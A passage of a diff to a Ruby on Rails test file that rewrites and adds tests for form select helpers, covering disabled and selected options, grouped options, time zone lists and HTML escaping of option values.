+ "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+ options_from_collection_for_select(dummy_posts, "author_name", "title", :disabled => "Babe")
+ )
+ end
- assert_dom_equal(
- "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
- options_from_collection_for_select(@posts, "author_name", "title", "Babe")
- )
- end
+ def test_collection_options_with_disabled_array
+ assert_dom_equal(
+ "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\" disabled=\"disabled\">Cabe went home</option>",
+ options_from_collection_for_select(dummy_posts, "author_name", "title", :disabled => [ "Babe", "Cabe" ])
+ )
+ end
- def test_collection_options_with_preselected_value_array
- @posts = [
- Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
- Post.new("Babe went home", "Babe", "To a little house", "shh!"),
- Post.new("Cabe went home", "Cabe", "To a little house", "shh!")
- ]
-
- assert_dom_equal(
- "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\" selected=\"selected\">Cabe went home</option>",
- options_from_collection_for_select(@posts, "author_name", "title", [ "Babe", "Cabe" ])
- )
- end
+ def test_collection_options_with_preselected_and_disabled_value
+ assert_dom_equal(
+ "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\" selected=\"selected\">Cabe went home</option>",
+ options_from_collection_for_select(dummy_posts, "author_name", "title", :selected => "Cabe", :disabled => "Babe")
+ )
+ end
- def test_array_options_for_select
- assert_dom_equal(
- "<option value=\"&lt;Denmark&gt;\">&lt;Denmark&gt;</option>\n<option value=\"USA\">USA</option>\n<option value=\"Sweden\">Sweden</option>",
- options_for_select([ "<Denmark>", "USA", "Sweden" ])
- )
- end
+ def test_collection_options_with_proc_for_disabled
+ assert_dom_equal(
+ "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\" disabled=\"disabled\">Cabe went home</option>",
+ options_from_collection_for_select(dummy_posts, "author_name", "title", :disabled => lambda{|p| %w(Babe Cabe).include? p.author_name })
+ )
+ end
+
+ def test_array_options_for_select
+ assert_dom_equal(
+ "<option value=\"&lt;Denmark&gt;\">&lt;Denmark&gt;</option>\n<option value=\"USA\">USA</option>\n<option value=\"Sweden\">Sweden</option>",
+ options_for_select([ "<Denmark>", "USA", "Sweden" ])
+ )
+ end
- def test_array_options_for_select_with_selection
+ def test_array_options_for_select_with_selection
+ assert_dom_equal(
+ "<option value=\"Denmark\">Denmark</option>\n<option value=\"&lt;USA&gt;\" selected=\"selected\">&lt;USA&gt;</option>\n<option value=\"Sweden\">Sweden</option>",
+ options_for_select([ "Denmark", "<USA>", "Sweden" ], "<USA>")
+ )
+ end
+
+ def test_array_options_for_select_with_selection_array
assert_dom_equal(
- "<option value=\"Denmark\">Denmark</option>\n<option value=\"&lt;USA&gt;\" selected=\"selected\">&lt;USA&gt;</option>\n<option value=\"Sweden\">Sweden</option>",
- options_for_select([ "Denmark", "<USA>", "Sweden" ], "<USA>")
+ "<option value=\"Denmark\">Denmark</option>\n<option value=\"&lt;USA&gt;\" selected=\"selected\">&lt;USA&gt;</option>\n<option value=\"Sweden\" selected=\"selected\">Sweden</option>",
+ options_for_select([ "Denmark", "<USA>", "Sweden" ], [ "<USA>", "Sweden" ])
)
- end
+ end
- def test_array_options_for_select_with_selection_array
- assert_dom_equal(
- "<option value=\"Denmark\">Denmark</option>\n<option value=\"&lt;USA&gt;\" selected=\"selected\">&lt;USA&gt;</option>\n<option value=\"Sweden\" selected=\"selected\">Sweden</option>",
- options_for_select([ "Denmark", "<USA>", "Sweden" ], [ "<USA>", "Sweden" ])
- )
- end
+ def test_array_options_for_select_with_disabled_value
+ assert_dom_equal(
+ "<option value=\"Denmark\">Denmark</option>\n<option value=\"&lt;USA&gt;\" disabled=\"disabled\">&lt;USA&gt;</option>\n<option value=\"Sweden\">Sweden</option>",
+ options_for_select([ "Denmark", "<USA>", "Sweden" ], :disabled => "<USA>")
+ )
+ end
- def test_array_options_for_string_include_in_other_string_bug_fix
- assert_dom_equal(
- "<option value=\"ruby\">ruby</option>\n<option value=\"rubyonrails\" selected=\"selected\">rubyonrails</option>",
- options_for_select([ "ruby", "rubyonrails" ], "rubyonrails")
- )
- assert_dom_equal(
- "<option value=\"ruby\" selected=\"selected\">ruby</option>\n<option value=\"rubyonrails\">rubyonrails</option>",
- options_for_select([ "ruby", "rubyonrails" ], "ruby")
- )
- assert_dom_equal(
- %(<option value="ruby" selected="selected">ruby</option>\n<option value="rubyonrails">rubyonrails</option>\n<option value=""></option>),
- options_for_select([ "ruby", "rubyonrails", nil ], "ruby")
- )
- end
+ def test_array_options_for_select_with_disabled_array
+ assert_dom_equal(
+ "<option value=\"Denmark\">Denmark</option>\n<option value=\"&lt;USA&gt;\" disabled=\"disabled\">&lt;USA&gt;</option>\n<option value=\"Sweden\" disabled=\"disabled\">Sweden</option>",
+ options_for_select([ "Denmark", "<USA>", "Sweden" ], :disabled => ["<USA>", "Sweden"])
+ )
+ end
- def test_hash_options_for_select
- assert_dom_equal(
- "<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>\n<option value=\"Dollar\">$</option>",
- options_for_select("$" => "Dollar", "<DKR>" => "<Kroner>").split("\n").sort.join("\n")
- )
- assert_dom_equal(
- "<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
- options_for_select({ "$" => "Dollar", "<DKR>" => "<Kroner>" }, "Dollar").split("\n").sort.join("\n")
- )
- assert_dom_equal(
- "<option value=\"&lt;Kroner&gt;\" selected=\"selected\">&lt;DKR&gt;</option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
- options_for_select({ "$" => "Dollar", "<DKR>" => "<Kroner>" }, [ "Dollar", "<Kroner>" ]).split("\n").sort.join("\n")
- )
- end
+ def test_array_options_for_select_with_selection_and_disabled_value
+ assert_dom_equal(
+ "<option value=\"Denmark\" selected=\"selected\">Denmark</option>\n<option value=\"&lt;USA&gt;\" disabled=\"disabled\">&lt;USA&gt;</option>\n<option value=\"Sweden\">Sweden</option>",
+ options_for_select([ "Denmark", "<USA>", "Sweden" ], :selected => "Denmark", :disabled => "<USA>")
+ )
+ end
- def test_ducktyped_options_for_select
- quack = Struct.new(:first, :last)
+ def test_array_options_for_string_include_in_other_string_bug_fix
assert_dom_equal(
- "<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>\n<option value=\"Dollar\">$</option>",
- options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")])
+ "<option value=\"ruby\">ruby</option>\n<option value=\"rubyonrails\" selected=\"selected\">rubyonrails</option>",
+ options_for_select([ "ruby", "rubyonrails" ], "rubyonrails")
)
assert_dom_equal(
- "<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
- options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")], "Dollar")
+ "<option value=\"ruby\" selected=\"selected\">ruby</option>\n<option value=\"rubyonrails\">rubyonrails</option>",
+ options_for_select([ "ruby", "rubyonrails" ], "ruby")
)
assert_dom_equal(
- "<option value=\"&lt;Kroner&gt;\" selected=\"selected\">&lt;DKR&gt;</option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
- options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")], ["Dollar", "<Kroner>"])
+ %(<option value="ruby" selected="selected">ruby</option>\n<option value="rubyonrails">rubyonrails</option>\n<option value=""></option>),
+ options_for_select([ "ruby", "rubyonrails", nil ], "ruby")
)
- end
-
- def test_option_groups_from_collection_for_select
- @continents = [
- Continent.new("<Africa>", [Country.new("<sa>", "<South Africa>"), Country.new("so", "Somalia")] ),
- Continent.new("Europe", [Country.new("dk", "Denmark"), Country.new("ie", "Ireland")] )
- ]
+ end
- assert_dom_equal(
- "<optgroup label=\"&lt;Africa&gt;\"><option value=\"&lt;sa&gt;\">&lt;South Africa&gt;</option>\n<option value=\"so\">Somalia</option></optgroup><optgroup label=\"Europe\"><option value=\"dk\" selected=\"selected\">Denmark</option>\n<option value=\"ie\">Ireland</option></optgroup>",
- option_groups_from_collection_for_select(@continents, "countries", "continent_name", "country_id", "country_name", "dk")
- )
- end
+ def test_hash_options_for_select
+ assert_dom_equal(
+ "<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>\n<option value=\"Dollar\">$</option>",
+ options_for_select("$" => "Dollar", "<DKR>" => "<Kroner>").split("\n").sort.join("\n")
+ )
+ assert_dom_equal(
+ "<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
+ options_for_select({ "$" => "Dollar", "<DKR>" => "<Kroner>" }, "Dollar").split("\n").sort.join("\n")
+ )
+ assert_dom_equal(
+ "<option value=\"&lt;Kroner&gt;\" selected=\"selected\">&lt;DKR&gt;</option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
+ options_for_select({ "$" => "Dollar", "<DKR>" => "<Kroner>" }, [ "Dollar", "<Kroner>" ]).split("\n").sort.join("\n")
+ )
+ end
- def test_grouped_options_for_select_with_array
- assert_dom_equal(
- "<optgroup label=\"North America\"><option value=\"US\">United States</option>\n<option value=\"Canada\">Canada</option></optgroup><optgroup label=\"Europe\"><option value=\"GB\">Great Britain</option>\n<option value=\"Germany\">Germany</option></optgroup>",
- grouped_options_for_select([
- ["North America",
- [['United States','US'],"Canada"]],
- ["Europe",
- [["Great Britain","GB"], "Germany"]]
- ])
- )
- end
+ def test_ducktyped_options_for_select
+ quack = Struct.new(:first, :last)
+ assert_dom_equal(
+ "<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>\n<option value=\"Dollar\">$</option>",
+ options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")])
+ )
+ assert_dom_equal(
+ "<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
+ options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")], "Dollar")
+ )
+ assert_dom_equal(
+ "<option value=\"&lt;Kroner&gt;\" selected=\"selected\">&lt;DKR&gt;</option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
+ options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")], ["Dollar", "<Kroner>"])
+ )
+ end
- def test_grouped_options_for_select_with_selected_and_prompt
- assert_dom_equal(
- "<option value=\"\">Choose a product...</option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option selected=\"selected\" value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
- grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], "Cowboy Hat", "Choose a product...")
- )
- end
+ def test_option_groups_from_collection_for_select
+ @continents = [
+ Continent.new("<Africa>", [Country.new("<sa>", "<South Africa>"), Country.new("so", "Somalia")] ),
+ Continent.new("Europe", [Country.new("dk", "Denmark"), Country.new("ie", "Ireland")] )
+ ]
- def test_optgroups_with_with_options_with_hash
- assert_dom_equal(
- "<optgroup label=\"Europe\"><option value=\"Denmark\">Denmark</option>\n<option value=\"Germany\">Germany</option></optgroup><optgroup label=\"North America\"><option value=\"United States\">United States</option>\n<option value=\"Canada\">Canada</option></optgroup>",
- grouped_options_for_select({'North America' => ['United States','Canada'], 'Europe' => ['Denmark','Germany']})
- )
- end
+ assert_dom_equal(
+ "<optgroup label=\"&lt;Africa&gt;\"><option value=\"&lt;sa&gt;\">&lt;South Africa&gt;</option>\n<option value=\"so\">Somalia</option></optgroup><optgroup label=\"Europe\"><option value=\"dk\" selected=\"selected\">Denmark</option>\n<option value=\"ie\">Ireland</option></optgroup>",
+ option_groups_from_collection_for_select(@continents, "countries", "continent_name", "country_id", "country_name", "dk")
+ )
+ end
- def test_time_zone_options_no_parms
- opts = time_zone_options_for_select
- assert_dom_equal "<option value=\"A\">A</option>\n" +
- "<option value=\"B\">B</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"D\">D</option>\n" +
- "<option value=\"E\">E</option>",
- opts
- end
+ def test_grouped_options_for_select_with_array
+ assert_dom_equal(
+ "<optgroup label=\"North America\"><option value=\"US\">United States</option>\n<option value=\"Canada\">Canada</option></optgroup><optgroup label=\"Europe\"><option value=\"GB\">Great Britain</option>\n<option value=\"Germany\">Germany</option></optgroup>",
+ grouped_options_for_select([
+ ["North America",
+ [['United States','US'],"Canada"]],
+ ["Europe",
+ [["Great Britain","GB"], "Germany"]]
+ ])
+ )
+ end
- def test_time_zone_options_with_selected
- opts = time_zone_options_for_select( "D" )
- assert_dom_equal "<option value=\"A\">A</option>\n" +
- "<option value=\"B\">B</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"D\" selected=\"selected\">D</option>\n" +
- "<option value=\"E\">E</option>",
- opts
- end
+ def test_grouped_options_for_select_with_selected_and_prompt
+ assert_dom_equal(
+ "<option value=\"\">Choose a product...</option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option selected=\"selected\" value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
+ grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], "Cowboy Hat", "Choose a product...")
+ )
+ end
- def test_time_zone_options_with_unknown_selected
- opts = time_zone_options_for_select( "K" )
- assert_dom_equal "<option value=\"A\">A</option>\n" +
- "<option value=\"B\">B</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"D\">D</option>\n" +
- "<option value=\"E\">E</option>",
- opts
- end
+ def test_optgroups_with_with_options_with_hash
+ assert_dom_equal(
+ "<optgroup label=\"Europe\"><option value=\"Denmark\">Denmark</option>\n<option value=\"Germany\">Germany</option></optgroup><optgroup label=\"North America\"><option value=\"United States\">United States</option>\n<option value=\"Canada\">Canada</option></optgroup>",
+ grouped_options_for_select({'North America' => ['United States','Canada'], 'Europe' => ['Denmark','Germany']})
+ )
+ end
- def test_time_zone_options_with_priority_zones
- zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
- opts = time_zone_options_for_select( nil, zones )
- assert_dom_equal "<option value=\"B\">B</option>\n" +
- "<option value=\"E\">E</option>" +
- "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
- "<option value=\"A\">A</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"D\">D</option>",
- opts
- end
+ def test_time_zone_options_no_parms
+ opts = time_zone_options_for_select
+ assert_dom_equal "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\">D</option>\n" +
+ "<option value=\"E\">E</option>",
+ opts
+ end
- def test_time_zone_options_with_selected_priority_zones
- zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
- opts = time_zone_options_for_select( "E", zones )
- assert_dom_equal "<option value=\"B\">B</option>\n" +
- "<option value=\"E\" selected=\"selected\">E</option>" +
- "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
- "<option value=\"A\">A</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"D\">D</option>",
- opts
- end
+ def test_time_zone_options_with_selected
+ opts = time_zone_options_for_select( "D" )
+ assert_dom_equal "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>",
+ opts
+ end
- def test_time_zone_options_with_unselected_priority_zones
- zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
- opts = time_zone_options_for_select( "C", zones )
- assert_dom_equal "<option value=\"B\">B</option>\n" +
- "<option value=\"E\">E</option>" +
- "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
- "<option value=\"A\">A</option>\n" +
- "<option value=\"C\" selected=\"selected\">C</option>\n" +
- "<option value=\"D\">D</option>",
- opts
- end
+ def test_time_zone_options_with_unknown_selected
+ opts = time_zone_options_for_select( "K" )
+ assert_dom_equal "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\">D</option>\n" +
+ "<option value=\"E\">E</option>",
+ opts
+ end
- def test_select
- @post = Post.new
- @post.category = "<mus>"
- assert_dom_equal(
- "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
- select("post", "category", %w( abe <mus> hest))
- )
- end
+ def test_time_zone_options_with_priority_zones
+ zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
+ opts = time_zone_options_for_select( nil, zones )
+ assert_dom_equal "<option value=\"B\">B</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\">D</option>",
+ opts
+ end
- def test_select_under_fields_for
- @post = Post.new
- @post.category = "<mus>"
+ def test_time_zone_options_with_selected_priority_zones
+ zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
+ opts = time_zone_options_for_select( "E", zones )
+ assert_dom_equal "<option value=\"B\">B</option>\n" +
+ "<option value=\"E\" selected=\"selected\">E</option>" +
+ "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\">D</option>",
+ opts
+ end
- fields_for :post, @post do |f|
- concat f.select(:category, %w( abe <mus> hest))
- end
-
- assert_dom_equal(
- "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
- output_buffer
- )
- end
+ def test_time_zone_options_with_unselected_priority_zones
+ zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
+ opts = time_zone_options_for_select( "C", zones )
+ assert_dom_equal "<option value=\"B\">B</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"C\" selected=\"selected\">C</option>\n" +
+ "<option value=\"D\">D</option>",
+ opts
+ end
- def test_select_under_fields_for_with_index
- @post = Post.new
- @post.category = "<mus>"
+ def test_select
+ @post = Post.new
+ @post.category = "<mus>"
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest))
+ )
+ end
- fields_for :post, @post, :index => 108 do |f|
- concat f.select(:category, %w( abe <mus> hest))
- end
+ def test_select_under_fields_for
+ @post = Post.new
+ @post.category = "<mus>"
- assert_dom_equal(
- "<select id=\"post_108_category\" name=\"post[108][category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
- output_buffer
- )
+ fields_for :post, @post do |f|
+ concat f.select(:category, %w( abe <mus> hest))
end
+
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+ output_buffer
+ )
+ end
- def test_select_under_fields_for_with_auto_index
- @post = Post.new
- @post.category = "<mus>"
- def @post.to_param; 108; end
-
- fields_for "post[]", @post do |f|
- concat f.select(:category, %w( abe <mus> hest))
- end
+ def test_select_under_fields_for_with_index
+ @post = Post.new
+ @post.category = "<mus>"
- assert_dom_equal(
- "<select id=\"post_108_category\" name=\"post[108][category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
- output_buffer
- )
+ fields_for :post, @post, :index => 108 do |f|
+ concat f.select(:category, %w( abe <mus> hest))
end
- def test_select_with_blank
- @post = Post.new
- @post.category = "<mus>"
- assert_dom_equal(
- "<select id=\"post_category\" name=\"post[category]\"><option value=\"\"></option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
- select("post", "category", %w( abe <mus> hest), :include_blank => true)
- )
- end
+ assert_dom_equal(
+ "<select id=\"post_108_category\" name=\"post[108][category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+ output_buffer
+ )
+ end
- def test_select_with_blank_as_string
- @post = Post.new
- @post.category = "<mus>"
- assert_dom_equal(
- "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">None</option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
- select("post", "category", %w( abe <mus> hest), :include_blank => 'None')
- )
- end
+ def test_select_under_fields_for_with_auto_index
+ @post = Post.new
+ @post.category = "<mus>"
+ def @post.to_param; 108; end
- def test_select_with_default_prompt
- @post = Post.new
- @post.category = ""
- assert_dom_equal(
- "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
- select("post", "category", %w( abe <mus> hest), :prompt => true)
- )
+ fields_for "post[]", @post do |f|
+ concat f.select(:category, %w( abe <mus> hest))
end
- def test_select_no_prompt_when_select_has_value
- @post = Post.new
- @post.category = "<mus>"
- assert_dom_equal(
- "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
- select("post", "category", %w( abe <mus> hest), :prompt => true)
- )
- end
+ assert_dom_equal(
+ "<select id=\"post_108_category\" name=\"post[108][category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+ output_buffer
+ )
+ end
- def test_select_with_given_prompt
- @post = Post.new
- @post.category = ""
- assert_dom_equal(
- "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">The prompt</option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
- select("post", "category", %w( abe <mus> hest), :prompt => 'The prompt')
- )
- end
+ def test_select_with_blank
+ @post = Post.new
+ @post.category = "<mus>"
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"\"></option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest), :include_blank => true)
+ )
+ end
- def test_select_with_prompt_and_blank
- @post = Post.new
- @post.category = ""
- assert_dom_equal(
- "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
- select("post", "category", %w( abe <mus> hest), :prompt => true, :include_blank => true)
- )
- end
+ def test_select_with_blank_as_string
+ @post = Post.new
+ @post.category = "<mus>"
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">None</option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest), :include_blank => 'None')
+ )
+ end
- def test_select_with_selected_value
- @post = Post.new
- @post.category = "<mus>"
- assert_dom_equal(
- "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\" selected=\"selected\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
- select("post", "category", %w( abe <mus> hest ), :selected => 'abe')
- )
- end
-
- def test_select_with_index_option
- @album = Album.new
- @album.id = 1
-
- expected = "<select id=\"album__genre\" name=\"album[][genre]\"><option value=\"rap\">rap</option>\n<option value=\"rock\">rock</option>\n<option value=\"country\">country</option></select>"
+ def test_select_with_default_prompt
+ @post = Post.new
+ @post.category = ""
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest), :prompt => true)
+ )
+ end
- assert_dom_equal(
- expected,
- select("album[]", "genre", %w[rap rock country], {}, { :index => nil })
- )
- end
+ def test_select_no_prompt_when_select_has_value
+ @post = Post.new
+ @post.category = "<mus>"
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest), :prompt => true)
+ )
+ end
- def test_select_with_selected_nil
- @post = Post.new
- @post.category = "<mus>"
- assert_dom_equal(
- "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
- select("post", "category", %w( abe <mus> hest ), :selected => nil)
- )
- end
+ def test_select_with_given_prompt
+ @post = Post.new
+ @post.category = ""
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">The prompt</option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest), :prompt => 'The prompt')
+ )
+ end
- def test_collection_select
- @posts = [
- Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
- Post.new("Babe went home", "Babe", "To a little house", "shh!"),
- Post.new("Cabe went home", "Cabe", "To a little house", "shh!")
- ]
+ def test_select_with_prompt_and_blank
+ @post = Post.new
+ @post.category = ""
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest), :prompt => true, :include_blank => true)
+ )
+ end
- @post = Post.new
- @post.author_name = "Babe"
+ def test_select_with_selected_value
+ @post = Post.new
+ @post.category = "<mus>"
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\" selected=\"selected\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest ), :selected => 'abe')
+ )
+ end
- assert_dom_equal(
- "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
- collection_select("post", "author_name", @posts, "author_name", "author_name")
- )
- end
+ def test_select_with_index_option
+ @album = Album.new
+ @album.id = 1
+
+ expected = "<select id=\"album__genre\" name=\"album[][genre]\"><option value=\"rap\">rap</option>\n<option value=\"rock\">rock</option>\n<option value=\"country\">country</option></select>"
- def test_collection_select_under_fields_for
- @posts = [
- Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
- Post.new("Babe went home", "Babe", "To a little house", "shh!"),
- Post.new("Cabe went home", "Cabe", "To a little house", "shh!")
- ]
+ assert_dom_equal(
+ expected,
+ select("album[]", "genre", %w[rap rock country], {}, { :index => nil })
+ )
+ end
- @post = Post.new
- @post.author_name = "Babe"
+ def test_select_with_selected_nil
+ @post = Post.new
+ @post.category = "<mus>"
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest ), :selected => nil)
+ )
+ end
- fields_for :post, @post do |f|
- concat f.collection_select(:author_name, @posts, :author_name, :author_name)
- end
-
- assert_dom_equal(
